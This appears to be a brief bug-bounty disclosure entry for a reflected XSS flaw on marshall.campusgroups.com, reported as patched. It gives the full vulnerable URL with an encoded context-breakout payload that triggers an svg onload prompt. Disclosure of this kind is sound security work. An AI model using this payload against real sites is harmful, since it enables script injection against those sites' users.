marshall.campusgroups.com XSS vulnerability

Vulnerable URL: http://marshall.campusgroups.com/EVMA/rsvp?eventuid=32829206c2b7d801253e31666d53a556=%3C/stYle/%3C/titLe/%3C/teXtarEa/%3C/scRipt/--!%3E\spam404/%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS...